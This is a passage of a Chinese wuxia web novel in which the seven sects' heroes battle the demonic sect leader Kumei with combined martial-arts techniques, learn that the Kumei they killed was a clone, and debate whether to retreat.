联合杀招的威力可不小,那日在冀州,枯恂曾有幸目睹过孤殇与沧海组成的联合杀招,当时,他便被这联合杀招的威力震惊了,他从未想过,自己有一天也能使出如此强劲的杀招。 枯恂不自信的看向江雨潇,江雨潇一改往日态度,和善的说道:“去吧,我相信你。” 枯恂笑了笑:“我一定会打败骷魅,成为天下第一!” “好,那就开始吧!”秋殇一叶话罢,立马施展起渊龙杖法来,枯恂也立马施展起凌空剑法第七式。谷月清、杜菱等人则围在两人身边护法…… “渊龙杖法第九式——渊龙啸天!”“凌空剑法第七式——七元归一” 只见天上乌云密布,电闪雷鸣,云层中似有龙啸,果然,数息之后,一片乌云幻化做灰紫色蛟龙在天上盘旋一圈,极速飞向骷魅,这条龙所带的可不止是乌云,还有大量闪电!碰上一下后果不堪设想!于此同时,七柄虚剑向那蛟龙飞去,剑龙相接,七柄虚剑分布在蛟龙的七个位置,如龙骨一般,接着,七元归一,七剑将龙身压实,化作一把灰紫白三色巨剑,灰色自是被挤压的乌云,紫色则是被挤压的闪电,白色是枯恂和秋殇两人被挤压的内力…… 当下巨剑压实,飞速向骷魅击去。 骷魅大呼:“这等雕虫小技,连张角都打不过,还想打赢我?无能鼠辈!” “当然不止如此!”谷月清长剑一挥,一把赤炎巨剑穿过云层,朝骷魅飞去。正是前番云霄九剑第九式的第九柄虚剑,由烈阳所化——赤炎巨剑! 当下,乌云直接被赤炎巨剑刺出个大窟窿来,如陨石坠地一般,直击骷魅。 “还有我的,《白菱神功》第十重”“弑魔蛇神!” 杜菱双手聚集大量内力,向前一指,仿佛有一只巨大的白蟒张开血盆大口朝骷魅咬来! 这下,骷魅冒出两滴冷汗,变得谨慎起来。 此时,跪在一旁的鬼俈站了起来,他朝自己的胸膛点了两下,让全身血液的流动变慢。 “浮生若梦,大梦成空!终是究白来一场。” 当他看到骷魅正受到四面八方的大杀招攻击,鬼俈笑了笑,似幸灾乐祸嘲讽骷魅,又似在苦苦一笑嘲讽自己:“其实我也曾追求过光明,希望我这最后所为,对得起那浩然正气!”话罢,慢慢朝骷魅走去,一边走,嘴角一边流下血来。 与此同时,战场其他地方,中原高手也都艰难应对着魅影教高手: 蔡彧和魅影教大长老的比试中,两人皆用音法,且功力相当,完全比不了高下,久而久之,变成了比拼内力。不过,比拼内力的话,显然钦铉更胜一筹,毕竟修炼了九十多年,但空涧庄的内功心法《空谷凌涧》能主动化精血为内力,再加上蔡彧出身于白马寺,本就内力雄厚,当下比拼内力,勉强能撑会儿…… 而百药宗毒门的杜冥和魅影教二长老藏榆的毒攻比试中,渐占下风。 魅影教立教超过百年,从立教开始便专门设立了涧水堂研究药物毒性,而这藏榆长老正是涧水堂的直系负责人,掌管涧水堂已有近四十年,再看百药宗的毒门,成立不过十六年,虽然在杜冥的带领下,发展迅速,但对药物毒性的了解,显然是藏榆更胜一筹。 越是比拼,杜冥越占下风,对药物药性的了解十分片面,终于,中了藏榆奸计。 当下,藏榆施动功法,附着毒粉向杜冥击去,杜冥知道是栗鹿粉后立马取出解药来。 “栗鹿粉这等常见的毒药你也拿出来用,看来你已经是弹尽粮绝了啊。” 藏榆大笑起来:“哦,是吗?那你倒是快解啊,沾了栗鹿粉的人,若是一个时辰内不服用解药的话,可是会五脏溃烂的!” “怎么?难不成你以为我身上没有浣溪花?”杜冥倒出一粒由浣溪花所做的药丸,正要服下,却犹豫了。 为何?这藏榆一副胜券在握的表情? 同时,杜冥想起了一件往事: 二十六年前、益州、百药宗: 二十六年前的百药宗,杜悬还活着,宗门上下一片和谐,并无毒门药门之分。 某一天晚上,一名黑衣人闯入了藏药阁,百药宗的分裂,从这一天开始了: “你是何人?竟敢擅自闯入藏药阁!” 那名黑衣人全身包裹严实,戴着面纱,看不见真容,身手矫健,不比年轻人差,但若是听声音的话,倒像是个老者。 那黑衣人打伤多名百药宗弟子,又朝杜悬击去一掌,走时嚣张道:“你中了栗鹿粉,若是两个时辰内不服用解药的话,必会五脏溃烂而死!” 黑衣人武功极高,不夸张的说,百药宗全宗一起上也未必打得过他,当下只能任由他离去。 杜悬不傻,并没有因为黑衣人的言语,而立马服用浣溪花解毒,他先替自己把了把脉,闻了闻身上残留药粉的气味,确认是栗鹿粉后,立马取出浣溪花所做的药丸服下。 噩梦开始了,一个时辰后,杜悬啊浑身疼痛、皮肤溃烂,口吐鲜血,五脏六腑竟有溃烂之感,疼痛足足持续了近两个时辰,最终,杜悬未能查出自己身中何毒,疼死在卧榻上,遗言也没留下,举世无双的第一医师竟被人给毒死,可笑,当真是可笑! 杜悬死后,杜冥积极发展毒术,欲为师傅报仇,而杜济则积极发展医术,已求师傅的惨剧不在世人身上重演,毒门与药门争斗不休、水火不容,最终,毒门在杜冥的带领下迁离了百药宗,百药宗至此分裂为两大门派。 杜冥闻了闻身上的药粉,确实,与栗鹿粉的气味相同,再一把脉,身上的脉象也与中栗鹿毒后的脉象吻合,但杜冥却并不急着服用浣溪花,反而取出了奎蛛液,滴出一滴,与那白粉相融。 “果然如此。”杜冥内心窃喜,表面上却是面色凝重。他假装吃下浣溪花丸解毒,其实,他不过是喂了粒糖果进去。 两人又打了十余回合,杜冥仿照当年杜悬毒发的症状,倒在地上,捂着腹部,大呼救命。 藏榆冷冷一笑,嘲讽道:“我还以为是个练毒奇才,现在看来,也是庸人一个!”话罢,转身离去。 就这一瞬间,杜冥从地上爬起,掏出两枚飞镖,向前丢去,一枚朝藏榆的头部射去,一枚朝其腹部射去,两人相隔不过三、四米,这一标,瞎子也能命中! 但藏榆纵横江湖几十年,防心极重,当下竟留了个心眼,回头恰好看到暗器飞来,急忙闪开,虽躲过致命伤,但背部仍挂了彩。 “藏榆,十六年前,你废我一手,如果我没猜错的话,我师父也是你杀的吧!今天,血债血偿!拿命来!”一边说着,一边提剑刺向藏榆。 藏榆大惊:“你可别什么屎盆子都往我头上扣,我见都没见过你师父!”当下也不纠缠,赶紧退去。 显然,那白粉,并非栗鹿粉,乃是乌桓独有的苦胥草,这种草晒干后磨成白粉后与栗鹿草晒干后磨成的白粉几乎一模一样,连气味、口感都一模一样!唯一不同的是他们的功效,栗鹿粉有剧毒,误食后,身体会十分燥热,一个时辰不得解药便会五脏六腑溃烂而死,服用浣溪花可解其毒,苦胥粉不同,它是大补药!误食后,身体同样会十分燥热,但一个时辰后,燥热便会消散,服用的人会感到神清气爽、心旷神怡!但恐怖的是,误食苦胥粉的人若是再服下浣溪花,那可就在劫难逃了,苦胥与浣溪会相互融合,成为一剂毒药,比砒霜的毒性还猛上十倍百倍不止!所以,从某种角度来讲,毒死杜悬的,并不是那位黑衣人,乃是杜悬自己! 杜冥能解此毒,绝非偶然,从百药宗毒门成立那天起,杜冥就开始研究杜悬所中的毒药为何。他采集杜悬身上残余的白粉,分出一部分喂给兔子,接着在喂上浣溪花,毫无意外,一个时辰后,兔子暴毙,杜冥研究了很久,却始终不知此药为何,直到他将白粉撒入土中,地里长出从未见过的苦胥草,接下来的研究,便是要区分栗鹿粉和苦胥草的特性了,多次研究后,他发现,奎蛛液能与苦胥粉相融,却与栗鹿粉相斥…… 第八十六章 破围,万幻影诀第九重!? 主场之上,各大杀招朝骷魅击去。 骷魅故技重施:“探云手!”当下乌云齐聚,再次将赤炎剑盖去,但这次,并没有再像之前的雷剑一样,被阴云屯没,赤炎剑温度巨高,乌云还没近身便凭空蒸发掉了,接着,赤炎剑划破天际,和枯恂、秋殇的联合杀剑并排向骷魅击来。 苏起、于婉、青菱师太等人也各发绝技,向骷魅攻来。 看着四面八方袭来的杀招,骷魅终于感受到了一点儿死亡的威胁,但显然,这些还不够! 眼看,杜菱的弑魔蛇神逼近,骷魅急施万幻影诀第八重功法:聚幻散影。 功法一施,骷魅便化作一团黑影,凭空消失,骷魅速度极快,白菱神功根本打不中骷魅。不仅如此,那功法未停,径直向对面的苏起、于婉等人击去! 所幸,苏起等人先前也各自释放出了绝技,本是用来攻击骷魅的,现在骷魅瞬身术移走,这些功法和杜菱的白菱神功相撞,产生巨大冲击,一部分能量相撞抵消,一部分能量则向周围溅射。 秋殇一叶对旁边的杜菱说道:“骷魅的身法太快了,你们的法力不但近不了他身,还会误伤友军。” 杜菱等人领会其意,立马离开战场,支援其他人。 现下,对骷魅来说,最大的威胁便是从天而降的赤炎巨剑与紫云雷剑。两剑并排,急速向骷魅袭来。 骷魅想用瞬身术移动方位,躲开攻击,但每次移动,两把剑也会跟着变换指向,显然,这两把剑与杜菱他们的功法不同,能够自动转换方向,重新瞄准敌人。 “好,那就来比一比,谁才是天下第一神功吧!”骷魅仰天大喊:“万幻影诀第九重——天下大同!” 霎时间,骷魅前方的野草疯长,竟向苍穹窜去,不止如此,地下泉水也向天上冒去,形成一个巨大的水柱,直接向赤炎剑冲去,然而,水柱同样近不了赤炎剑身,直接被其高温蒸发了,当然,赤炎剑也因此磨损了不少。 与此同时,方圆十里野草组成的十几张巨大的草网,阻止着那柄紫云雷剑的攻势,但草网明显不够结实,瞬息之下,紫云雷剑便穿破了七张草网,当然,紫云雷剑也磨损了不少,灰色代表的乌云磨损尤其严重,紫云雷剑再向前,又破开四张草网,但灰云也因此全部褪去,只剩下残存的白色和紫色,骷魅前面,亦只剩下三张草网阻拦。 漫天黄沙将骷魅遮掩在其中,外面的人,并不知他在做什么,黄沙里,骷魅一手驾驭水柱,一手控制草网,当下,赤炎剑离骷魅只剩下二十米了,骷魅左手再聚内力向上一挥,地上冒出水柱比刚才大了五倍不止,巨大的水柱向赤炎剑包去,赤炎剑顶着水力再冲击了十多米,最终还是熄灭消散了…… 另一边,紫云剑离骷魅同样只剩下二十米了,骷魅右手亦聚起内力,地上野草再次疯长,化作三张草网,挡在骷魅身前五米处。 没了乌云加持,那把紫剑的移速更快了,迅雷不及掩耳之势便直接突破了骷魅身前的六层网,直接飞到骷魅身前,骷魅大惊,所幸,他早有防范,提前在身前做了层能量罩。 “卸魂掌!”骷魅左手挥掌,再施出一阵内力波挡在身前,连续穿过十七层草网,剑上的紫光雷电早已褪去,当下,剑上只剩下秋殇和枯恂的内力了。挡下这波攻击自是不在话下…… “再来!云霄九剑第六式——啸风拂叶!”谷月清施展出功法,六柄虚剑飞出,将枯恂团团围住。 秋殇和枯恂相视点点,欲再施联合技。 “你们没机会了!”骷魅挡下那剑后,立马化作一团黑雾,再出现时,已至枯恂身后,一掌朝拍去,不仅将枯恂身后的虚剑拍散,人也被拍飞了五六米远,当场便失去了知觉,晕倒在地。 远方江雨潇正和一个幽狼派的巨魔狼骑兵打斗着,当下见枯恂受伤,解决掉眼前战斗,立马向枯恂飞来。 秋殇提起杖,上前攻击骷魅,谷月清则闪身过去,挡在枯恂前面。 “渊龙杖法第八式——深渊潜蛟”一条蛟龙从秋殇长老的渊龙杖中飞出,直击骷魅。 骷魅见偷袭成功,也不纠缠,立马用瞬身术和谷月清、秋殇等人拉开距离。骷魅刚才那掌,用力不小,枯恂没个三、五天绝醒不来。江雨潇赶到后,背起枯恂便向后方转移。 经过刚才那几波的消耗,骷魅现在只剩五成多的内力,而谷月清和秋殇都只剩下四成左右的内力。内力的剩余倒并不会绝对的影响战局,关键是眼下,枯恂被打伤,施展不了威力巨大的联合技,拿什么和骷魅拼? 另一边,杜菱正和韦凌峰对阵: “韦凌峰,我真是看错你了,想不到你居然会是个贪生怕死的小人!” “对不起,我没得选,你们也别硬撑了,没了凌空剑法,你们谁也不是骷魅的对手,快投降吧!”韦凌峰一脸担心的看着杜菱。 杜菱大骂道:“投降?你做梦!我今天就是战死,也绝不做魅影教的奴才!” “我这是为你好,骷魅的万幻影诀已经到达了第九重,不亚于当年的无冥,我们打不过他的,我加入魅影教,也是为了保护你啊!” “呸!韦凌峰,别再说这种屁话了,那只会让我觉得恶心!”杜菱懒得多说,挥鞭向韦凌峰的头部击去。 韦凌峰并不还手,只是一个劲儿的躲闪、或者用血滴子格挡。 骷魅笑道:“你们已经威胁不了我了!”话罢,满身杀气,冷冷的说道:“现在我要做的,是将你们一个一个,全部杀掉!” 谷月清和秋殇立马严阵以待,摆好防势。 哪知骷魅却一个瞬身术,向杜菱飞去。谷月清和秋殇大惊,立马向杜菱赶去,大喊:“师太!小心身后!” 当下,骷魅化作一团黑雾,移速飞快,数息之下便到已闪到杜菱身后,此时杜菱正挥鞭和韦凌峰的血滴子打在一起,完全没注意到身后的骷魅飞来。 卑微的是,韦凌峰注意到了,当下,他丢开血滴子,向杜菱飞去,杜菱毫不犹豫,一鞭打来,正中韦凌峰,韦凌峰强忍剧痛,没有停下,跳到杜菱身旁一把将她推开,这时,正巧骷魅一掌拍来,直接打在了韦凌峰身上,本来,这掌是该打在杜菱身上的…… 杜菱大惊,方知韦凌峰刚才是要帮她挡下骷魅的致命一击。 骷魅楞了一秒,问道韦凌峰:“何意?为何要替她去死?” 韦凌峰嘴角不自觉的流下很多血,断断续续的说道:“因为~我~我喜欢她,数十年来,一如往昔,将来,亦如往昔~” 杜菱就在身旁,看了此景,摇了摇头,默默流下眼泪来。 骷魅看着韦凌峰身上的鞭伤:“值得吗?她根本不喜欢你!你输了!” “我是输了~爱上她的那天起~我就已经输了,彻底输了。” 韦凌峰微笑着看向杜菱,再说道:“对~对不起,来世~换你喜欢我好吗?”话罢,闭上眼,再没醒来…… 此情此景,杜菱再崩不住了,呆呆的看着韦凌峰,低声哭泣起来。 看到眼前这幕,骷魅像是被闪电击中一般,呆在原地,不知所措,脑海中更是闪出一段奇怪的对话: “公孙大哥,你喜欢我吗?” “当然喜欢了。” “你会回来娶我的对吗?” “当然,等我,我会带着八抬大轿前来娶你。” “你不回来我可怎么办啊?” “你放心,最后一片枫叶落下之前,我一定回来。” 骷魅抬头一看,恍惚间,面前似乎翩翩飘舞着许多枫叶!可这广阔无垠的大草原,哪儿会有枫叶? “都是幻觉,都是幻觉!杀,杀光你们,杀!”骷魅突然发狂,挥掌向杜菱击去。 此刻杜菱却毫无反应,坐在地上,呆呆的看着韦凌峰,失神抽泣。 “去死!”骷魅大喊道,眼看就要中招时,一柄巨型虚剑从天而降,挡在杜菱身前,拦住发疯的骷魅,骷魅欲绕过去,从旁边进攻,但紧接着,天上又再次飞下六柄巨大虚剑。 当下,七剑并排,护在杜菱身前,拦住发疯的骷魅。 谷月清和秋殇诧异的看了看对方,两人同时摇了摇头,显然,他们也不知这是何人所为…… 第八十七章 凌空剑法第九重 当下,七剑并排将杜菱和骷魅间隔,一个神秘男子身着白色长衫,戴着青色斗笠,缓缓走到杜菱身前,将她扶起。 那青衣男子温柔的说道:“对不起,我来晚了。” 杜菱眼下的状态,本是谁来都没用的,但这位白衣男子的声音,未免太熟悉了些,她忍不住抬头向那青衣男子看去,就这轻轻一瞥,却是十六年的久别重逢…… 眼前这人,竟是十六年来,毫无音讯的白侠展平! 杜菱大惊,但很快便站起身来,给了展平一巴掌:“这么多年,你上哪儿去了?!” 展平没有接话,而是温柔的看向杜菱,只顾着一个劲儿的傻笑。杜菱受其感染,没绷住,也跟着笑了起来,接着,两人紧紧拥抱在一起。 展平一边抚摸着杜菱后背的长发,一边施展剑法,接着,七剑合一,向展平飞来,展平抱着杜菱,跳上剑去,向秋殇一叶那边飞去。 展平小声对谷月清、秋殇和杜菱说道:“以后再细讲,菱儿、谷师傅,你们先掩护我和秋殇长老施展联合技吧。” “你会凌空剑法第七式?”谷月清一脸震惊。 展平摇摇头,接着说道:“不止第七式,是第九式!”当下众人皆惊,但看展平的气势,并不像是在开玩笑,几人点点头,决定试一试。 骷魅神智稍微恢复了些:“又想用凌空剑法?没了七魂剑,再来多少次也是白搭!” 哪知,乘着乱战,王浩(鬼俈)已经来到了百里斛的身后,百里斛回头一看,是魅影右使,便没有在意。刚转回身,便遭王浩一掌拍倒在地,接着,鬼俈,夺走七魂剑向展平他们飞去。 百里斛从地上爬起,大呼道:“鬼俈反叛了!鬼俈反叛了!” 鬼俈飞在半空中,见事迹败露,立马对谷月清等人喊道:“接剑!接剑!”话罢,将七魂剑丢了过去,谷月清一看是七魂剑,立马飞起。 骷魅大怒,立即化作一团黑雾朝七魂剑飞去,也欲抢夺。 鬼俈中毒已深,但仍强撑着,回身朝身后胡乱打去几道冰魄卸魂掌!骷魅无奈,只得转向躲闪。 鬼俈笑了笑,低声说道:“追求光明的感觉真好,希望我这最后所为,算得上浩然正气。”话罢,平躺在地上,双眸眺望着朗朗晴空,再没了知觉。 地窖中,那个小男孩用尽全身力气,竟将压着巨石的木板撑开,与地窖内的漆黑死寂不同,外面的世界,尽是一片光明温暖,小男孩吃力的爬出地窖,向光明走去…… 当下,谷月清拿下七魂剑后,转手便交给了展平,展平接过剑没有丝毫犹豫,立马施展起剑法来。 “凌空剑法第八式——众生卸元!”展平挥舞着七魂剑,七柄虚剑从剑上飞出,在战场上空汇聚成一柄巨剑,接着狂风骤起,原本散落在战场的杂草、沙石、兵器通通往巨剑处汇聚,全部围着巨剑旋转起来,巨剑一边旋转一边向四周飞出小剑来攻击着场上的魅影教众和幽狼派众…… 小剑并没有直接杀死被刺中的人,而是将他们体内的内力大幅度的剥离。 一旁的秋殇一叶也没闲着,立马挥动渊龙杖,施展起渊龙杖法第十重——临渊祭天。紧接着,风云突变,乌云密布,电闪雷鸣,范围比之前的大了一倍不止! 看着眼前这幕,骷魅脑袋剧烈疼痛起来,他从记忆深处看到了百年前,祖师爷无冥子与凌云谷苍临大师、白马寺摄摩腾长老打斗的回忆、同样的场景,同样的招式…… 骷魅摇摇头,缓了缓神,清醒过来:“这一次,我绝不会重蹈覆辙!绝不会!”骷魅嘴上虽然这样硬气的说着,但事实上,即使他耗尽内力,也绝不可能抵消这联合杀招! “幻影卸魂掌!”骷魅施展功法,快速挥掌朝展平、秋殇他们打去。四面八方突然出现百多道掌波向秋殇和展平他们击去,这百多道掌波并不是全部都带有伤害,里面绝大部分掌波都是幻影,毫无伤害,但它们看上去,却和真的卸魂掌没有差别,卸魂掌威力巨大,绝不可大意对之。 前车之鉴,后事之师,谷月清没有犹豫,直接施展起最强杀招,这次,他不会再大意了:“云霄九剑第九式——啸神弑魔!”当下,九柄虚剑从霄云剑中飞出,将展平和秋殇围在中间。九剑竖起,围成圈,绕着两人高速旋转着。 杜菱也没犹豫,取出飞蝗石,左右手各执四个,施用白菱神功中的指法——蛇仙指路,攻击那群掌波。 一旁的苏起和于婉等人也立马前来帮忙,攻击幻影卸魂掌。 大家齐心协力,总算是挡下骷魅的攻击。这时,云层中传来熟悉的龙啸,场上所有人都惊呆了,渊龙杖法第十重,居然能将整个乌云全化作一条巨型蛟龙!这一次,秋殇可以说是赌上了全部,施展渊龙杖法耗用的不止是他仅剩的四成内力,还有大量的元气!这功一施,没个三五年,是别想再下地了。那条蛟龙,由乌云和雷电组成,长达六十多米,比起之前那条,大了三倍不止!蛟龙全身乌紫,俯地长啸! 展平见了,立马施展起剑法来:“凌空剑法第九式——众元归一!” 刚才那些第八式众生卸元射出的小剑从四面八方升起,朝那条乌紫色蛟龙体内汇聚,不止如此,那些刚才被小剑剥离体内的能量也跟着小剑一起向蛟龙奔去,能量极其巨大! 小剑相连,如龙骨一般贯彻蛟龙全身,接着,小剑带着蛟龙开始压实、变小…… 最终,这条原长六十多米的蛟龙,化成一把只有两米长的灰紫金三色长剑! 当下,那剑从天而降,锐不可当,直击骷魅! 看着飞来的长剑,骷魅立在原地,放弃了抵抗,摇摇头,似乎已经对结局绝望了,骷魅有无冥的记忆,所以他知道,这一剑,他躲不了,利用瞬身术或许能多活一秒,但这柄剑的转向很灵敏,会马上追上来,只能用内力抵挡,或者,原地等死!当年无冥选择了前者,他拼尽了所有内力,勉强挡下那记联合杀招,然而,内力耗尽的无冥也因此只能向苍临大师和摄摩腾长老认输。 而眼下,骷魅只有四成多内力,想靠内力击散这柄灰紫金三色长剑是绝不可能的…… 骷魅闭上眼,仰起头,摊开胸膛,迎接着那柄长剑的到来…… 长剑并没有因为骷魅的坦然而变得缓慢,当下,划破云霄后,只一秒便刺中了骷魅,直穿心脏,可能是剑的能量太过巨大,中剑后的骷魅直接爆体而亡…… 第八十八章 骷魅之死 关外,辎重部: 此时,剑阁弟子正和赤影帮的骑兵艰难交战着,剑阁全是步兵,武器又多为长剑,完全阻挡不了骑兵攻势,当下,被骑兵打得节节败退,大有全军覆灭之象。 这时,杜济带百药宗弟子杀出,他们临时采了些毒药,涂在银针上,朝赤影帮射去,赤影帮攻势减缓,勒马停住。章玄急率剑阁弟子退回山上。 虽然百药宗的弟子加入了战斗,但显然,这还不足以击退赤影帮的骑兵,得想个万全之策才是。当下,杜济和章玄还有两派高手围在一起,商量着退敌之策。 正话间,只听外面杀声四起,马蹄声也很急乱,似有两队人马在交战,章玄急忙远眺看去,只见一队白马骑兵和赤影帮的骑兵正在交战。那队骑兵反复冲向敌阵,一边冲击,还一边高喊道:“义之所至,生死相随!苍天可鉴,白马为证!” 章玄见了大喜,喃喃道:“是中郎将公孙瓒的白马义从!走,我们也杀出去!” …… 主力部,草原之上: 当下,众人见骷魅已死,都长叹一口气,胜局看来已经确定了,但诡异的是,魅影教的攻势并没有因此而减缓,他们的军心似乎毫无动摇。然而,经过刚才的乱战,谷月清和杜菱的内力已经所剩无几,秋殇不仅没了内力,更是元神受损,当下自然是退至后方休息,剩下的都加入乱军之中,混战起来。 乱军之中,一处小战场上,慕容洵凭一己之力,连续杀死了三个敌人,这时,一个神秘斗篷男子瞬息之下,从百米之外闪到慕容洵身前。拿着一把银黑长镰便要杀她,但看见她的脸后,却停了手,收回了长镰。 慕容洵大惊,眼前这个人的出现,简直想是从天而降一般,极其诡异,慌忙向后退了十几米,拉开距离。 那斗篷男子朝慕容洵喊道:“敢问姑娘芳名!” 虽是敌人,但这声音,却有些许熟悉,可是他到底是谁呢?慕容洵歪着头,想要看清着斗篷男子的脸。 斗篷男子还挺配合的,直接抬起了头,让慕容洵看个清楚,慕容洵盯着男子仔细端详起来——是个奶油小生,长得到十分秀气,年龄大概二十三岁左右。显然,慕容洵并不认识,失望的摇了摇头。 “所以,能告诉我你姓名了吧。”那个斗篷男子又低下头,冷冷说道。 “在下慕容洵,你是何人?” 听到慕容洵这三字,那斗篷男子居然怔了一下,没有回答自己名字,而是在顿了片刻后,撇下慕容洵,一个瞬身,向其他战场闪去。 那斗篷男子所到之处,所敌之人,皆被割喉而亡,毫无反抗之力…… 当下,在乱军之中乱杀了一翻后,那男子喃喃道:“杂草还是太多,杀人果然还是太费劲,还是诛心好使!”那男子一边这样冷冷的说着,一边向七大门派的后方移去。 途中,白马寺一些弟子想要阻拦,被那斗篷男子挥动镰刀悉数灭杀。 当下,这名斗篷男子的诡异身法、兵器、服装很快便吸引了七大门派和散修中一些高手的注意力,当下,展平、苏起,两人同时飞来,拦在斗篷男子身前,谷月清、杜菱内力消耗巨大,正盘坐着恢复内力,同时,也密切注视着那个斗篷男子。 “你是何人?骷魅都死了,为何还不退去?”苏起问道。 “骷魅死了?我看未必吧!”斗篷男子低沉的说着。 听着这声音,展平和苏起满脸惊恐,像极了一个人——刚才被紫金灰三色剑贯穿身体而亡的骷魅…… 当下,那个斗篷男子抬起头,右手挥动长镰向前一指,喊道:“万幻影诀第九重——天下大同!” 这下,展平等人是彻底懵了,讲道理,骷魅当着众人的面爆体而亡,绝不可能复活,而且,这人长着一副奶油小生的脸,也绝不可能是骷魅,可除了骷魅,还有谁有能力施展万幻影诀第九重呢?或者,这个人只是在虚张声势罢了,他并不会万幻影诀第九重。 但当下,眼前这个人,显然不是在开玩笑。只见大量杂草急速疯长着,向天上窜去,直接将七派弟子抓起,从高空丢下。这还没完,狂风骤起,夹着着沙石旋转着,越卷越大,越卷越大,直接将七派弟子卷入风沙中,而战场逐渐分成了两波,魅影教和幽狼派向右退去,七大门派弟子则向左撤退,当下,这民神秘斗篷男子被一片黑云托起,悬在七派上空,如天神一般,而他的功法则疯狂绞杀着众人,无人可与之相当! 展平的内力本就相对较低,之前施展了凌空剑法第八式这种大范围功法内力耗损严重,接着又是施展凌空剑法第九式,所以内力只剩下两成左右了,显然,靠他一人不足以对抗这个神秘斗篷男子。 “骷魅不是已经死了吗?为何魅影教中还有如此厉害的角色。”苏起喃喃道。 当下,七派中人,不是被风草抓起,便是被黄沙活埋,又或者是被狂风吹飞…… “中原武林难道要折在这儿了吗?”谷月清叹息道。 这时,上空的神秘斗篷男子冷笑道:“你们以为杀了骷魅,战争就可以结束了是吗?确实如此,可是,你们杀得了我吗!”那斗篷男子话罢脱下斗篷,露出脸来,还是那张奶油小生的脸没错,但这并不是他的真容,这是一张人皮面具,当下,只见男子当着众人面脱下人皮面具,人皮面具之下,竟是一张和骷魅一样的脸,或者说他才是真的骷魅! 骷魅接着说道:“你们杀的,不过是我的一个分身罢了。”话罢,骷魅当着众人面,再分出一个分身来,当下,两个骷魅对着场上众人狂笑起来。 这下,可真的是杀人诛心了,七大门派的许多高手都绝望的瘫软在地,任由风吹、沙掩…… 但场上一女子,看到骷魅撕下人皮面具,露出真容后,眼角默默流下泪来,沙哑着喉咙喃喃道:“为什么会这样?这十六年来,你到底经历了什么?” 看到两个骷魅,谷月清大惊,当即便吐出一口血来,所幸,秋殇一叶当下正昏睡着,不知场上情况,否则,得直接气死不可。看到七派被动挨打,军心涣散,谷月清心急如焚,当下站起身来,向主战场走去。 杜菱一边盘坐恢复功力,一边对谷月清喊道:“谷师傅,别去,你是整个武林的希望,我们先撤退,来日再战吧!” 谷月清摇摇头,看了眼昏迷不醒的秋殇,对杜菱说道:“如果骷魅真还活着,那普天之下,已没人是他对手了,现在能做的,只有减少七大门派的伤亡。”话罢,谷月清御剑朝骷魅飞去。 看着谷月清的背影,杜菱感叹道:“何为侠义?如是而矣!”话罢,杜菱也不再运功恢复内力,站起身来,向主战场走去。 第八十九章 往事随风 “大家快撤,我来拖住他!云霄九剑第九式——啸神弑魔!”谷月清御剑飞行,和骷魅相对。 只见三柄沙石做的剑四下飞舞,将疯狂生长的杂草割去,三柄地下泉水做的巨型水剑也四下飞舞着,将空气中的满天黄沙侵湿,散落,最后,三柄风剑反方向撞向场上的巨型龙卷风,欲将其抵消! 当下,两个骷魅已经合为一体,仇视着谷月清,冷讽道:“螳臂当车,不自量力!” 一个瞬身术,便来到谷月清后面,拍去一记卸魂掌,谷月清刚才释放大杀招,不仅内力全无,元气也损伤不小,如今哪里还躲闪得开,只能任由骷魅宰割。 “蛇仙指路。”不远处的杜菱料知骷魅会下阴招,所以提前动手,先朝谷月清身后丢出三枚梅花镖,两枚飞镖与掌波相撞,两相抵散,还有一枚飞镖则向骷魅击去。 骷魅急退躲过。 当下,飞剑托起精疲力竭的谷月清向杜菱飞来。 杜菱身边的于婉和苏起见了,立马施展轻功,将谷月清搀扶着带下地面。 骷魅看着于婉等人冷冷说道:“都得死!”话罢一个瞬身术直接来到苏起背后,一掌拍去,直接将苏起拍倒在地,苏起背部受了重伤,吐出两口鲜血,晕了过去。 杜菱急施白菱身法向于婉飞去,同时也施展着白菱指法——蛇仙指路,朝谷月清身前身后丢出梅花镖。 哪料到,骷魅的目标却不是谷月清,而是于婉!当下一个瞬身术,闪到于婉侧面想要用镰刀将她击杀,不过于婉反应倒很迅速,提前转身,挥剑挡下。 杜菱心急如焚,慌忙催动内力,想加快白菱神功的运作,哪知内力早已耗尽了,当下不仅没能提速,更是直接停了速,一个踉跄,便摔倒在地,嘴角流下点儿血来,与其他武功不同,白菱神功的诡异步伐是不能靠消耗元气来运作的,想必不解释大家也应该理解。当下杜菱,没了白菱神功,只能眼巴巴的看着于婉被攻击。 眼下,骷魅见于婉有防备,挥剑挡下自己的镰刀,也不纠缠,见青菱师太摔倒在地,便直接一个瞬身术,绕到了杜菱身后,一镰刀下去,这下神仙也难救了吧。 并不,当下展平正好赶到杜菱身边,只听砰的一声,刀剑相撞,千钧一发之际,展平挥动七魂剑挡下骷魅的进攻。 骷魅怒了,万分恼火,瞬身术退去,乘着一团黑云,升至高空,朝狼狈不堪的七大门派教众喊道:“尔等何苦做困兽之斗,现在放下武器投降的,我尚可饶你们不死!” 没等回答,一道音波攻来,朝骷魅打去,蔡彧虽身心俱疲,但他仍虚弱的喊道:“我空涧庄,宁死不降!”语音刚落,身后弟子纷纷响应:“宁死不降!”接着,百多道音波朝骷魅飞去,其他门派的弟子也都高喊:“宁死不降!宁死不降!” 骷魅大怒,一个瞬身术退后魅影教和幽狼派的阵营,满眼杀气,冷冷的说道:“那就,都去死吧!”接着,举起镰刀向前一挥,魅影教和幽狼派的弟子再次向前发起进攻。 而七大门派这边,早已是精疲力乏,没了冲劲儿,但他们没有退缩,都严阵以待着,显然已是做好了战死的准备。 这时,左后两边脚步声四起,只见两队人马赶来,当下七大门派面面相觑,不知是敌是右。 只见两队人马径直向七大门派聚拢来——分别是章玄、杜冥带领的剑阁、百药宗弟子和青龙帮残部还有浮生一花、林奕湘带领的白马寺分部。 看到是友军,众人低落的军心回涨了些许。 “杀!”当下三部汇合,也向敌人冲去,两军再次乱战起来…… 两军实力相当,胜负倒是难料,可场上的骷魅功力已入化境,如今,谁又能当呢? 当下,展平、浮生长老、蔡彧、章玄等人一边加入乱战,一边讨论着。 展平:“如今骷魅功力已至化境,秋殇长老又重伤,他若认起真来,我们联手也未必能胜过他。” “化境!?你的意思是,这骷魅的功力比当年的无冥还强?”浮生方丈震惊道。 “再拼下去,七大门派得全军覆没,留得青山在不怕没柴烧,还是我们几个功力高强的,留下来拖住无冥,好让弟子们能安全退回中原。”蔡彧一边使出音波,攻击一只巨魔狼骑兵,一边对浮生说道。 浮生点点头表示认同。单章玄却摇摇头:“牺牲武林高手的命确实可以换得中原各派一时太平,但这与抱薪救火、割肉驱狼无异。届时,我等皆死,魅影教再进取中原,谁又能挡?” 